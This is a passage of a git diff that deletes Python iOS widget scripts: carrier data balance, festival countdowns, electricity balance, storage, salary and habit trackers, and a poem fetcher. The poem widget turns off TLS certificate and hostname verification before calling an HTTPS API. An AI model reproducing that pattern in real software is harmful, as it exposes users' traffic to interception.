"周日"] - week_day = week_list[now.weekday()] - month_day = now.strftime("%m月%d日") - - year_start = datetime(now.year, 1, 1) - year_end = datetime(now.year+1, 1, 1) - year_pass = (now - year_start).total_seconds() - year_total = (year_end - year_start).total_seconds() - year_percent = int((year_pass / year_total) * 100) - return f"{week_day} {month_day} · 今年已过{year_percent}%" - - -success, flow, fee, voice, update_time = get_unicom_data() -date_tip = get_date_tip() - -w = Widget( - background=("#FFFFFF", "#0B0F1A"), - padding=16 -) - -if family == MEDIUM: - with w.hstack(spacing=0): - - - with w.vstack(align="leading", spacing=0): - with w.hstack(spacing=6, align="center"): - w.icon("antenna.radiowaves.left.and.right", size=16, color="#E63946") - w.text("中国联通", size=14, weight="bold", color=("#111", "#EEE"), max_lines=1) - - w.spacer(14) - w.text("剩余通用流量", size=12, color=("#64748B", "#94A3B8"), max_lines=1) - w.spacer(4) - - with w.hstack(spacing=4, align="bottom"): - w.text(flow, size=36, weight="bold", design="rounded", color=("#000", "#FFF"), max_lines=1) - w.text("GB", size=14, weight="bold", color="#E63946", max_lines=1) - - - w.spacer(8) - w.text(date_tip, size=11, color=("#94A3B8", "#64748B"), max_lines=1) - - w.spacer() - - - with w.vstack(align="leading", spacing=10): - w.spacer(6) - - with w.hstack(spacing=8, align="center"): - w.icon("yensign.circle.fill", size=14, color="#F59E0B") - w.text(f"{fee} 元", size=11, weight="semibold", color="#F59E0B", max_lines=1) - - with w.hstack(spacing=8, align="center"): - w.icon("phone.fill", size=14, color="#10B981") - w.text(f"{voice} 分钟", size=11, weight="semibold", color="#10B981", max_lines=1) - - with w.hstack(spacing=8, align="center"): - w.icon("clock", size=14, color=("#94A3B8", "#64748B")) - w.text(update_time, size=11, color=("#94A3B8", "#64748B"), max_lines=1) - - -if not success: - w = Widget(background=("#FFFFFF", "#0B0F1A"), padding=16) - with w.vstack(align="center", spacing=8): - w.spacer() - w.icon("wifi.exclamationmark", size=30, color=("#64748B", "#94A3B8")) - w.text("数据获取失败", size=14, weight="semibold", color=("#111", "#EEE"), max_lines=1) - w.text("请更新Cookie", size=12, color=("#64748B", "#94A3B8"), max_lines=1) - w.spacer() - -w.render(url="pythonide://") \ No newline at end of file diff --git a/script_library/scripts/widgets/2_mna8yaj4.py b/script_library/scripts/widgets/2_mna8yaj4.py deleted file mode 100644 index 3c11476..0000000 --- a/script_library/scripts/widgets/2_mna8yaj4.py +++ /dev/null @@ -1,113 +0,0 @@ -from widget import Widget -from datetime import datetime, date, timedelta - -LUNAR_FESTIVALS = { - "春节": {2026: (2,17), 2027: (2,6), 2028: (1,26), 2029: (2,13), 2030: (2,3)}, - "端午节": {2026: (6,19), 2027: (6,9), 2028: (5,28), 2029: (6,16), 2030: (6,5)}, - "七夕节": {2026: (8,20), 2027: (8,9), 2028: (7,26), 2029: (8,15), 2030: (8,4)}, - "中秋节": {2026: (9,27), 2027: (9,15), 2028: (10,3), 2029: (9,22), 2030: (9,12)}, - "重阳节": {2026: (10,30), 2027: (10,9), 2028: (10,26), 2029: (10,16), 2030: (10,5)}, -} - -FESTIVAL_CONFIG = [ - {"name": "元旦", "slogan": "新岁伊始,万事可期", "icon": "sparkles", "color": ("#007aff", "#409cff"), "is_lunar": False, "month": 1, "day": 1}, - {"name": "春节", "slogan": "辞旧迎新,岁岁平安", "icon": "gift.fill", "color": ("#e63946", "#ff4757"), "is_lunar": True}, - {"name": "情人节", "slogan": "爱意随风起,浪漫不停歇", "icon": "heart.fill", "color": ("#ff6b81", "#ff85a1"), "is_lunar": False, "month": 2, "day": 14}, - {"name": "清明节", "slogan": "清明踏青,不负春光", "icon": "leaf.fill", "color": ("#2ecc71", "#34d399"), "is_lunar": False, "month": 4, "day": 5}, - {"name": "劳动节", "slogan": "劳逸结合,快乐放假", "icon": "hammer.fill", "color": ("#f39c12", "#fbbf24"), "is_lunar": False, "month": 5, "day": 1}, - {"name": "端午节", "slogan": "粽有安康,岁岁年年", "icon": "takeoutbag.and.cup.and.straw.fill", "color": ("#16a085", "#2dd4bf"), "is_lunar": True}, - {"name": "七夕节", "slogan": "星河万里,人间欢喜", "icon": "heart.circle.fill", "color": ("#e84393", "#f472b6"), "is_lunar": True}, - {"name": "中秋节", "slogan": "月圆人圆,事事圆满", "icon": "moon.stars.fill", "color": ("#f9ca24", "#fde047"), "is_lunar": True}, - {"name": "国庆节", "slogan": "山河锦绣,国泰民安", "icon": "flag.fill", "color": ("#dc2626", "#ef4444"), "is_lunar": False, "month": 10, "day": 1}, - {"name": "重阳节", "slogan": "登高望远,敬老安康", "icon": "figure.walk", "color": ("#78350f", "#92400e"), "is_lunar": True}, -] - -QUOTES = [ - "生活不止眼前的苟且,还有诗和远方.--海子", - "天行健,君子以自强不息.«周易»", - "路漫漫其修远兮,吾将上下而求索.--屈原", - "不积跬步,无以至千里.--荀子", - "静以修身,俭以养德.--诸葛亮", - "三人行,必有我师焉.--孔子", - "欲速则不达.--«论语»", - "长风破浪会有时,直挂云帆济沧海.--李白", - "海阔凭鱼跃,天高任鸟飞.--«增广贤文»", - "胜不骄,败不馁.--俗语", - "天生我材必有用.--李白", - "莫愁前路无知己,天下谁人不识君.--高适", - "千里之行,始于足下.--老子", - "知足者常乐.--老子", - "宠辱不惊,看庭前花开花落.--«菜根谭»", - "是非成败转头空.--罗贯中", - "人生得意须尽欢,莫使金樽空对月.--李白", - "不以物喜,不以己悲.--范仲淹" -] - -now = datetime.now() -today = date.today() -current_year = today.year - -processed_festivals = [] -for fest in FESTIVAL_CONFIG: - if fest["is_lunar"]: - fn = fest["name"] - m, d = LUNAR_FESTIVALS[fn].get(current_year, LUNAR_FESTIVALS[fn][2026]) - else: - m, d = fest["month"], fest["day"] - fd = datetime(current_year, m, d) - if fd < now: - next_year = current_year + 1 - if fest["is_lunar"]: - m, d = LUNAR_FESTIVALS[fn].get(next_year, LUNAR_FESTIVALS[fn][2026]) - fd = datetime(next_year, m, d) - processed_festivals.append({**fest, "date": fd, "date_text": f"{fd.month}月{fd.day}日", "days_left": (fd - now).days}) - -processed_festivals.sort(key=lambda x: x["days_left"]) -nearest_fest = processed_festivals[0] - -daily_quote = QUOTES[(today.month * 31 + today.day) % len(QUOTES)] -daily_quote = daily_quote.replace("--", " —— ").replace("«", "《").replace("»", "》") - -accent = nearest_fest["color"] - -w = Widget( - background=("#FFFFFF", "#0B0F1A"), - padding=15 -) - -with w.hstack(spacing=0): - - with w.vstack(align="leading", spacing=0): - with w.hstack(spacing=6, align="center"): - w.icon(nearest_fest["icon"], size=23, color=accent) - w.text(f"{nearest_fest['date_text']} {nearest_fest['name']}", - size=15.5, weight="semibold", color=("#1f2937", "#f3f4f6")) - - w.spacer(14) - - with w.hstack(spacing=3, align="center"): - w.spacer() - w.text(str(nearest_fest["days_left"]), size=58, weight="black", color=accent) - w.text("天", size=26, weight="semibold", color=accent) - w.spacer() - - w.spacer(8) - w.text(nearest_fest["slogan"], size=13.5, weight="medium", - color=("#475569", "#cbd5e1"), max_lines=1) - - w.spacer(12) - w.text(daily_quote, size=11.5, color=("#64748b", "#94a3b8"), max_lines=2) - - w.spacer(16) - - with w.vstack(align="leading", spacing=7): - w.text("即将到来", size=13, weight="semibold", color=("#64748b", "#94a3b8")) - - for fest in processed_festivals[1:4]: - with w.hstack(spacing=9, align="center"): - w.icon(fest["icon"], size=18, color=fest["color"]) - with w.vstack(spacing=0.5, align="leading"): - w.text(f"{fest['date'].month}月{fest['date'].day}日", size=10.5, color=("#64748b", "#94a3b8")) - w.text(f"还有 {fest['days_left']} 天 {fest['name'][:2]}", size=13, weight="semibold", color=fest["color"]) - -w.render(url="calshow://") \ No newline at end of file diff --git a/script_library/scripts/widgets/e_mnagdrfc.py b/script_library/scripts/widgets/e_mnagdrfc.py deleted file mode 100644 index 40d0fff..0000000 --- a/script_library/scripts/widgets/e_mnagdrfc.py +++ /dev/null @@ -1,178 +0,0 @@ -# -*- coding: utf-8 -*- -""" -电费剩余金额桌面小组件 -使用方法:运行脚本生成小组件配置 -""" - -from widget import Widget, family,SMALL, MEDIUM, LARGE -import datetime -import requests - -# ═══════════════════════════════════════════════════════════ -# 可修改的配置变量 - -YHDABH = "自行填入" #抓包修改这里,yhdabh=2MqPtcetcUPDScD==类似这样的 -# ═══════════════════════════════════════════════════════════ -API_URL = "https://mdej.impc.com.cn/hlwyy/business-jffw/znjf/queryDfInfoNew_new" - -PARAMS = { - "get": "", - "yhdabh": YHDABH -} -REQUEST_TIMEOUT = 10 # 请求超时时间(秒) - -# ═══════════════════════════════════════════════════════════ -# 网络请求获取数据 -# ═══════════════════════════════════════════════════════════ -def fetch_electricity_data(): - """ - 从网络获取电费数据 - 返回: dict 或 None(请求失败时返回None) - """ - try: - response = requests.get( - API_URL, - params=PARAMS, - timeout=REQUEST_TIMEOUT, - headers={ - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15", - "Accept": "application/json" - } - ) - response.raise_for_status() - json_data = response.json() - - if json_data.get("code") == 0 and json_data.get("data"): - return json_data["data"] - else: - print(f"API返回异常: code={json_data.get('code')}, msg={json_data.get('msg', '无')}") - return None - - except requests.exceptions.Timeout: - print("请求超时,请检查网络连接") - return None - except requests.exceptions.ConnectionError: - print("网络连接失败,请检查网络") - return None - except requests.exceptions.HTTPError as e: - print(f"HTTP错误: {e}") - return None - except ValueError: - print("JSON解析失败") - return None - except Exception as e: - print(f"未知错误: {e}") - return None - -# 获取数据 -api_data = fetch_electricity_data() - -# 如果网络请求失败,使用默认数据 -if api_data is None: - api_data = { - "gsbh": "--", - "limitFlag": "--", - "qjwyj": "0.0", - "syje": "0.0", - "name": "网络异常", - "addr": "--", - "khxzmc": "--", - "sfyxjf": "--" - } - -# 提取数据 -syje = float(api_data.get("syje", "0")) -name = api_data.get("name", "--") -khxzmc = api_data.get("khxzmc", "--") -now = datetime.datetime.now() - -# 判断余额状态 -if syje < 10: - status_color = ("#EF4444", "#F87171") # 红色 - 余额不足 - status_text = "余额不足" - status_icon = "exclamationmark.triangle.fill" -elif syje < 50: - status_color = ("#F59E0B", "#FBBF24") # 橙色 - 偏低 - status_text = "余额偏低" - status_icon = "exclamationmark.circle.fill" -else: - status_color = ("#10B981", "#34D399") # 绿色 - 正常 - status_text = "余额充足" - status_icon = "checkmark.circle.fill" - -# 创建小组件 -w = Widget(background=("#F8FAFC", "#0F172A"), padding=14) - -if family == SMALL: - # 小尺寸:居中显示核心金额 - with w.vstack(spacing=0, align="center"): - w.spacer() - w.icon(status_icon, size=16, color=status_color) - w.spacer(4) - w.text(f"¥{syje:.1f}", size=26, weight="bold", design="rounded", - color=("#0F172A", "#F8FAFC")) - w.spacer(2) - w.text("电费余额", size=11, color=("#94A3B8", "#64748B")) - w.spacer() - -elif family == MEDIUM: - # 中尺寸:左侧金额 + 右侧状态信息 - with w.hstack(spacing=0): - # 左侧:金额显示 - with w.vstack(spacing=4, align="leading"): - w.icon("bolt.fill", size=14, color="#3B82F6") - w.text("电费余额", size=12, color=("#94A3B8", "#64748B")) - w.text(f"¥{syje:.1f}", size=28, weight="bold", design="rounded", - color=("#0F172A", "#F8FAFC")) - w.spacer() - # 右侧:状态卡片 - with w.card(background=("#F1F5F9", "#1E293B"), - corner_radius=10, padding=10, spacing=4): - w.icon(status_icon, size=16, color=status_color) - w.text(status_text, size=12, weight="medium", - color=("#334155", "#E2E8F0")) - w.text(f"更新 {now.strftime('%H:%M')}", size=10, - color=("#94A3B8", "#64748B")) - -else: - # 大尺寸:完整信息展示 - # 头部 - with w.hstack(spacing=6): - w.icon("bolt.fill", size=16, color="#3B82F6") - w.text("电费余额查询", size=16, weight="semibold", - color=("#334155", "#E2E8F0")) - w.spacer() - w.text(f"{now.month}月{now.day}日 {now.strftime('%H:%M')}", size=11, - color=("#94A3B8", "#64748B")) - - w.spacer(10) - - # 核心金额卡片 - with w.card(background={"gradient": ["#3B82F6", "#8B5CF6"], "direction": "diagonal"}, - corner_radius=14, padding=16, spacing=4): - with w.vstack(spacing=4, align="center"): - w.text("账户余额", size=13, color=("#FFFFFF", "#E0E7FF"), opacity=0.9) - w.text(f"¥{syje:.1f}", size=36, weight="bold", design="rounded", - color=("#FFFFFF", "#FFFFFF")) - with w.hstack(spacing=4): - w.icon(status_icon, size=12, color=("#FFFFFF", "#E0E7FF")) - w.text(status_text, size=12, weight="medium", - color=("#FFFFFF", "#E0E7FF")) - - w.spacer(10) - - # 底部信息卡片 - with w.card(background=("#F1F5F9", "#1E293B"), - corner_radius=10, padding=12, spacing=0): - with w.hstack(spacing=0): - with w.vstack(spacing=2, align="leading"): - w.text("户主", size=11, color=("#94A3B8", "#64748B")) - w.text(name, size=13, weight="medium", - color=("#334155", "#E2E8F0")) - w.spacer() - with w.vstack(spacing=2, align="leading"): - w.text("用电类型", size=11, color=("#94A3B8", "#64748B")) - w.text(khxzmc, size=13, weight="medium", - color=("#334155", "#E2E8F0")) - -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/iphone_mnj29d3s.py b/script_library/scripts/widgets/iphone_mnj29d3s.py deleted file mode 100644 index ffd6cb5..0000000 --- a/script_library/scripts/widgets/iphone_mnj29d3s.py +++ /dev/null @@ -1,74 +0,0 @@ -# 2026-4-3 Silence - -import os -from widget import Widget, family, MEDIUM - -def get_storage_info(): - statvfs = os.statvfs('/') - block_size = statvfs.f_frsize - total = statvfs.f_blocks * block_size - free = statvfs.f_bavail * block_size - used = total - free - used_percent = (used / total) * 100 if total else 0 - - total_gb = total / (1024**3) - used_gb = used / (1024**3) - free_gb = free / (1024**3) - return total_gb, used_gb, free_gb, used_percent - -def render_widget(): - total, used, free, percent = get_storage_info() - - bar_width = int(200 * (percent / 100)) - bar_width = min(200, max(0, bar_width)) - - bg_color = ("#F1F5F9", "#0F172A") - w = Widget(background=bg_color, padding=16) - - with w.vstack(spacing=12): - - with w.hstack(): - w.icon("internaldrive", size=18, color="#3B82F6") - w.text("存储空间", size=14, weight="semibold", color=("#0F172A", "#F1F5F9")) - w.spacer() - w.text(f"{percent:.0f}%", size=12, weight="medium", color="#3B82F6") - - - with w.hstack(): - w.spacer() - with w.vstack(): - - w.text("", size=1) - - pass - - w.progress(percent / 100, color="#3B82F6", track_color=("#E2E8F0", "#334155"), height=8) - - - with w.hstack(): - with w.vstack(align="leading", spacing=4): - w.text("已用", size=11, color=("#64748B", "#94A3B8")) - w.text(f"{used:.1f} GB", size=15, weight="bold", color=("#0F172A", "#F1F5F9")) - w.spacer() - with w.vstack(align="trailing", spacing=4): - w.text("可用", size=11, color=("#64748B", "#94A3B8")) - w.text(f"{free:.1f} GB", size=15, weight="bold", color=("#10B981", "#34D399")) - w.spacer() - with w.vstack(align="trailing", spacing=4): - w.text("总计", size=11, color=("#64748B", "#94A3B8")) - w.text(f"{total:.1f} GB", size=15, weight="bold", color=("#0F172A", "#F1F5F9")) - - - if free < 5: - w.text("⚠️剩余不足5G快去删点片吧⚠️", size=10, color="#EF4444", align="center") - - w.render() - -if family == MEDIUM: - render_widget() -else: - w = Widget(background=("#FFFFFF", "#0B0F1A"), padding=16) - with w.vstack(align="center", spacing=8): - w.icon("internaldrive", size=30, color="#3B82F6") - w.text("请使用中尺寸小组件", size=14, weight="semibold", color=("#111", "#EEE")) - w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/salary_widget_mnyqeg8t.py b/script_library/scripts/widgets/salary_widget_mnyqeg8t.py deleted file mode 100644 index c2e36cb..0000000 --- a/script_library/scripts/widgets/salary_widget_mnyqeg8t.py +++ /dev/null @@ -1,191 +0,0 @@ -from widget import Widget, family, SMALL, MEDIUM, LARGE -from datetime import datetime, date - -# 年薪(元),修改此數值 -ANNUAL_SALARY = 1_000_000 - -# 台灣國定假日 2026 -TW_HOLIDAYS_2026 = { - date(2026, 1, 1), # 元旦 - date(2026, 2, 16), # 除夕 - date(2026, 2, 17), # 春節 - date(2026, 2, 18), # 春節 - date(2026, 2, 19), # 春節 - date(2026, 2, 20), # 春節 - date(2026, 2, 28), # 和平紀念日 - date(2026, 4, 3), # 兒童節 - date(2026, 4, 4), # 清明節 - date(2026, 5, 1), # 勞動節 - date(2026, 6, 19), # 端午節 - date(2026, 9, 25), # 中秋節 - date(2026, 10, 9), # 國慶日補假 - date(2026, 10, 10), # 國慶日 -} - -TW_HOLIDAYS = TW_HOLIDAYS_2026 - - -# 判斷是否為工作日,排除週六日與國定假日 -def is_workday(d): - if d.weekday() >= 5: # 週六=5, 週日=6 - return False - if d in TW_HOLIDAYS: - return False - return True - - -# 計算指定年份的總工作天數 -def count_workdays_in_year(year): - d = date(year, 1, 1) - count = 0 - while d.year == year: - if is_workday(d): - count += 1 - d = date.fromordinal(d.toordinal() + 1) - return count - - -# 計算今天已賺的金額與年度累積 -def calc_earned_today(salary): - now = datetime.now() - today = now.date() - year = today.year - - total_workdays = count_workdays_in_year(year) - daily_salary = salary / total_workdays - - # 今年元旦到昨天的工作日數 - days_elapsed = (today - date(year, 1, 1)).days - workdays_before_today = sum( - 1 for i in range(days_elapsed) - if is_workday(date.fromordinal(date(year, 1, 1).toordinal() + i)) - ) - - today_is_workday = is_workday(today) - - if today_is_workday: - # 工作時間 08:20 ~ 17:45 - work_start = now.replace(hour=8, minute=20, second=0, microsecond=0) - work_end = now.replace(hour=17, minute=45, second=0, microsecond=0) - - if now < work_start: - fraction = 0.0 - elif now >= work_end: - fraction = 1.0 - else: - elapsed = (now - work_start).total_seconds() - total = (work_end - work_start).total_seconds() - fraction = elapsed / total - - today_earned = daily_salary * fraction - else: - fraction = 0.0 - today_earned = 0.0 - - ytd_earned = (workdays_before_today + (fraction if today_is_workday else 0)) * daily_salary - - return { - "today_earned": today_earned, - "ytd_earned": ytd_earned, - "daily_salary": daily_salary, - "total_workdays": total_workdays, - "today_is_workday": today_is_workday, - "fraction": fraction, - "now": now, - } - - -# 執行計算 -info = calc_earned_today(ANNUAL_SALARY) -now = info["now"] - -fmt_today = f"${info['today_earned']:,.0f}" -fmt_ytd = f"${info['ytd_earned']:,.0f}" -fmt_daily = f"${info['daily_salary']:,.0f}" -progress_val = info["fraction"] - -day_status = "工作日 💼" if info["today_is_workday"] else "假日 🎉" -time_str = now.strftime("%H:%M") -date_str = now.strftime("%m/%d") - -# 工作日顯示綠色進度條,假日顯示灰色 -bar_color = "#4ADE80" if info["today_is_workday"] else "#6B7280" - -# 建立 Widget,深色背景 -w = Widget(background=("#0F172A", "#0F172A"), padding=0) - -if family == SMALL: - with w.vstack(spacing=6, padding=12): - w.text("今日薪資", size=11, color="#94A3B8", weight="medium") - w.text(fmt_today, size=22, color="#4ADE80", weight="bold") - w.spacer(length=2) - w.progress(progress_val, color=bar_color, height=5, track_color="#1E293B") - w.text(f"{date_str} {time_str} {day_status}", size=10, color="#64748B") - -elif family == LARGE: - with w.vstack(spacing=10, padding=16): - # 標題列 - with w.hstack(spacing=6): - w.icon("dollarsign.circle.fill", size=16, color="#4ADE80") - w.text("薪資追蹤器", size=14, color="#CBD5E1", weight="semibold") - w.spacer() - w.text(f"{date_str} {time_str}", size=12, color="#64748B") - - w.divider(color="#1E293B") - - # 今日薪資 - w.text("今日已賺", size=12, color="#94A3B8") - w.text(fmt_today, size=36, color="#4ADE80", weight="bold") - w.text(day_status, size=12, color="#94A3B8") - - # 進度條與百分比 - w.progress(progress_val, color=bar_color, height=8, track_color="#1E293B") - w.text(f"工作進度 {progress_val * 100:.0f}%", size=11, color="#64748B", align="trailing") - - w.spacer(length=4) - w.divider(color="#1E293B") - - # 年度統計三欄 - with w.hstack(spacing=8): - with w.card(background="#1E293B", corner_radius=10, padding=10): - w.text("年薪", size=11, color="#94A3B8") - w.text(f"${ANNUAL_SALARY:,}", size=14, color="white", weight="bold") - with w.card(background="#1E293B", corner_radius=10, padding=10): - w.text("日薪", size=11, color="#94A3B8") - w.text(fmt_daily, size=14, color="white", weight="bold") - with w.card(background="#1E293B", corner_radius=10, padding=10): - w.text("年度累積", size=11, color="#94A3B8") - w.text(fmt_ytd, size=14, color="#FCD34D", weight="bold") - -else: - # MEDIUM 尺寸(預設) - with w.vstack(spacing=0, padding=6): - # 上半:今日薪資 + 時間狀態 - with w.hstack(): - with w.vstack(spacing=2, align="leading"): - w.text("今日薪資", size=15, color="#94A3B8", weight="medium") - w.text(fmt_today, size=44, color="#4ADE80", weight="bold") - w.spacer() - with w.vstack(spacing=3, align="trailing"): - w.text(date_str, size=16, color="#64748B", weight="medium") - w.text(time_str, size=23, color="#CBD5E1", weight="semibold") - w.text(day_status, size=15, color="#94A3B8") - - w.spacer() - - # 進度條 - w.progress(progress_val, color=bar_color, height=8, track_color="#1E293B") - - w.spacer(length=6) - - # 下半:日薪 + 年度累計 - with w.hstack(padding=2): - with w.vstack(spacing=2, align="leading"): - w.text("日薪", size=14, color="#64748B") - w.text(fmt_daily, size=20, color="#CBD5E1", weight="semibold") - w.spacer() - with w.vstack(spacing=2, align="trailing"): - w.text("年度累積", size=14, color="#64748B") - w.text(fmt_ytd, size=20, color="#FCD34D", weight="semibold") - -w.render() diff --git a/script_library/scripts/widgets/script_mmwa0ets.py b/script_library/scripts/widgets/script_mmwa0ets.py deleted file mode 100644 index ca26ce2..0000000 --- a/script_library/scripts/widgets/script_mmwa0ets.py +++ /dev/null @@ -1,94 +0,0 @@ -# -*- coding: utf-8 -*- -"""习惯追踪器 — 7 habits, streak, progress ring.""" - -from widget import Widget, family, SMALL, MEDIUM, LARGE -import time, random - -habits = [ - ("💧", "喝水", True), - ("📖", "阅读", True), - ("🏃", "运动", False), - ("🧘", "冥想", True), - ("🍎", "水果", True), - ("😴", "早睡", False), - ("📝", "日记", True), -] - -done = sum(1 for *_, ok in habits if ok) -total = len(habits) -streak = 12 - -bg = {"gradient": ["#6366F1", "#8B5CF6"], "direction": "diagonal"} -card_bg = ("#FFFFFF", "#1E1B4B") -txt_main = ("#1E1B4B", "#E0E7FF") -txt_sub = ("#6366F1", "#A5B4FC") -done_clr = ("#22C55E", "#4ADE80") -miss_clr = ("#E5E7EB", "#312E81") - -w = Widget(background=bg, padding=12) - -if family in (SMALL, "small"): - with w.vstack(spacing=6): - with w.hstack(spacing=6, align="center"): - w.icon("checkmark.circle.fill", size=16, color="#A5B4FC") - w.text("习惯", size=15, weight="bold", color="#FFFFFF") - w.spacer() - w.text(f"🔥{streak}天", size=12, color="#FDE68A") - w.gauge(done, total, label="", size=54, color="#34D399", - track_color=("#C7D2FE", "#312E81"), line_width=6) - w.text(f"{done}/{total} 已完成", size=12, weight="medium", - color="#E0E7FF", align="center") - -elif family in (MEDIUM, "medium"): - with w.hstack(spacing=10): - with w.vstack(spacing=4, padding=4): - with w.hstack(spacing=4, align="center"): - w.icon("checkmark.circle.fill", size=14, color="#A5B4FC") - w.text("习惯追踪", size=14, weight="bold", color="#FFFFFF") - w.spacer() - w.gauge(done, total, label="", size=56, color="#34D399", - track_color=("#C7D2FE", "#312E81"), line_width=6) - w.text(f"{done}/{total}", size=11, color="#E0E7FF", align="center") - with w.vstack(spacing=3): - with w.hstack(spacing=4, align="center"): - w.text(f"🔥 连续 {streak} 天", size=11, weight="semibold", - color="#FDE68A") - w.spacer() - for emoji, name, ok in habits: - with w.hstack(spacing=4, align="center"): - w.text(emoji, size=12) - w.text(name, size=11, color="#E0E7FF") - w.spacer() - w.icon("checkmark.circle.fill" if ok else "circle", - size=13, - color="#4ADE80" if ok else "#6366F1") - -else: - with w.vstack(spacing=6): - with w.hstack(spacing=6, align="center"): - w.icon("checkmark.circle.fill", size=18, color="#A5B4FC") - w.text("习惯追踪器", size=17, weight="bold", color="#FFFFFF") - w.spacer() - w.text(f"🔥 连续 {streak} 天", size=13, weight="semibold", - color="#FDE68A") - w.divider(color="#818CF8") - with w.hstack(spacing=8, align="center"): - w.gauge(done, total, label="", size=64, color="#34D399", - track_color=("#C7D2FE", "#312E81"), line_width=7) - with w.vstack(spacing=2): - w.text(f"{done}/{total} 已完成", size=13, weight="semibold", - color="#E0E7FF") - pct = int(done / total * 100) - w.progress(done, total, color="#34D399", height=6, - track_color=("#C7D2FE", "#312E81")) - w.text(f"完成率 {pct}%", size=11, color="#A5B4FC") - w.divider(color="#818CF8") - with w.hstack(spacing=6): - for emoji, name, ok in habits: - with w.vstack(spacing=2, align="center"): - w.text(emoji, size=18) - w.icon("checkmark.circle.fill" if ok else "circle", - size=14, - color="#4ADE80" if ok else "#6366F1") - -w.render() diff --git a/script_library/scripts/widgets/script_mmyzioeo.py b/script_library/scripts/widgets/script_mmyzioeo.py deleted file mode 100644 index 3b8755e..0000000 --- a/script_library/scripts/widgets/script_mmyzioeo.py +++ /dev/null @@ -1,85 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ - -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -from widget import Widget -from datetime import datetime, date - -w = Widget() # 原生背景,系统自动深浅模式 - -now = datetime.now() -today = date.today() -current_year = today.year - - -year_start = date(current_year, 1, 1) -days_in_year = (date(current_year + 1, 1, 1) - year_start).days -days_passed = (today - year_start).days -progress = days_passed / days_in_year if days_in_year > 0 else 0 - -festivals = [ - (1, 1, "元旦", "新年快乐!今年继续摆烂吗?"), - (2, 14, "情人节", "单身狗别哭,晚上要深深惹哦~"), - (4, 5, "清明节", "扫完墓记得踏青啊,别只顾着emo"), - (5, 1, "劳动节", "放假了!该卷的卷,该摸的摸"), - (6, 10, "端午节", "粽子管够!赛龙舟我在岸上吃瓜"), - (8, 20, "七夕", "中国版情人节,脱单的冲!单身的养神兽"), - (9, 25, "中秋节", "月饼别吃太多,赏月许愿发财"), - (10, 1, "国庆节", "黄金周!堵高速上思考人生?"), - (10, 15, "重阳节", "老人节!爬山?我家喝茶敬老"), - (2, 10, "春节", "过年好!红包拿来!今年发大财!") -] - -next_fests = [] -for month, day, name, egg in festivals: - fest_date = datetime(today.year, month, day) - if fest_date < now: - fest_date = datetime(today.year + 1, month, day) - next_fests.append((fest_date, name, egg)) - -next_fest = min(next_fests, key=lambda x: x[0]) -days_to_fest = (next_fest[0] - now).days -name = next_fest[1] -egg = next_fest[2] -fest_date_str = f"{next_fest[0].month}月{next_fest[0].day}日" - - -quotes = [ - "生活不止眼前的苟且,还有诗和远方.--海子", - "天行健,君子以自强不息.«周易»", - "路漫漫其修远兮,吾将上下而求索.--屈原", - "不积跬步,无以至千里.--荀子", - "静以修身,俭以养德.--诸葛亮", - "三人行,必有我师焉.--孔子", - "欲速则不达.--«论语»", - "长风破浪会有时,直挂云帆济沧海.--李白", - "海阔凭鱼跃,天高任鸟飞.--«增广贤文»", - "胜不骄,败不馁.--俗语", - "天生我材必有用.--李白", - "莫愁前路无知己,天下谁人不识君.--高适", - "千里之行,始于足下.--老子", - "知足者常乐.--老子", - "宠辱不惊,看庭前花开花落.--«菜根谭»", - "是非成败转头空.--罗贯中", - "人生得意须尽欢,莫使金樽空对月.--李白", - "不以物喜,不以己悲.--范仲淹" -] -quote = quotes[(today.month * 31 + today.day) % len(quotes)] - -with w.vstack(spacing=6, padding=10, align="leading"): - w.icon("escape", size=22, color="#ff9500") - - w.text(f"下个节日:{fest_date_str} {name}", size=17, weight="bold", color="#1f2937") - - with w.hstack(spacing=15, align="top"): - with w.vstack(spacing=15.5, align="leading"): - w.text(f"倒计时 {days_to_fest} 天", size=28, weight="heavy", color="#e63946") - w.text(egg, size=13.5, color="#4b5563") - w.text(quote, size=13.5, weight="bold", color="#666666") - - - with w.vstack(spacing=2, align="center"): - w.gauge(progress, size=60, color="#10b981", track_color="#e5e7eb") - w.text(f"{int(progress*100)}%", size=20, weight="bold", color="#10b981") - w.text(f"{current_year} 已过", size=12, color="#4b5563") - -w.render() \ No newline at end of file diff --git a/script_library/scripts/widgets/script_mn91mn1t.py b/script_library/scripts/widgets/script_mn91mn1t.py deleted file mode 100644 index 43e5959..0000000 --- a/script_library/scripts/widgets/script_mn91mn1t.py +++ /dev/null @@ -1,113 +0,0 @@ -from widget import Widget, family, SMALL, MEDIUM, LARGE -import datetime -import ujson -import ssl - -# 从网络获取古诗词名句 -def get_quote(): - try: - import urllib.request - - ctx = ssl.create_default_context() - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - - opener = urllib.request.build_opener( - urllib.request.HTTPSHandler(context=ctx) - ) - - req = urllib.request.Request( - 'https://v1.jinrishici.com/all.json', - headers={ - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS like Mac OS X) AppleWebKit/605.1.15' - } - ) - - response = opener.open(req, timeout=10) - - if response.status == 200: - raw_data = response.read() - data = ujson.loads(raw_data) - content = data['content'] - origin = data['origin'] - author = data['author'] - category = data['category'] - return content, f"「{origin}」{author}", category - except Exception as e: - print(f"获取诗词失败: {e}") - - return None, None, None - -quote, author, category = get_quote() - -# 配色方案 -bg = ("#F8FAFC", "#0F172A") -card_bg = ("#F1F5F9", "#1E293B") -primary = ("#0F172A", "#F8FAFC") -secondary = ("#475569", "#94A3B8") -weak = ("#94A3B8", "#64748B") -accent = ("#8B5CF6", "#A78BFA") - -w = Widget(background=bg, padding=14) - -if family == SMALL: - with w.vstack(spacing=0, align="center"): - w.spacer() - w.icon("pencil.and.outline", size=20, color=accent) - w.spacer(6) - w.text(quote if quote else "加载中...", size=15, weight="medium", color=primary, - max_lines=3, align="center") - w.spacer(4) - w.text(author if author else "", size=11, color=secondary, align="center") - w.spacer() - -elif family == MEDIUM: - with w.vstack(spacing=0): - w.spacer() - with w.hstack(spacing=0): - with w.vstack(spacing=0, align="center"): - w.spacer() - w.icon("pencil.and.outline", size=28, color=accent) - w.spacer(6) - w.text("古诗词", size=11, color=weak) - w.spacer() - w.spacer(12) 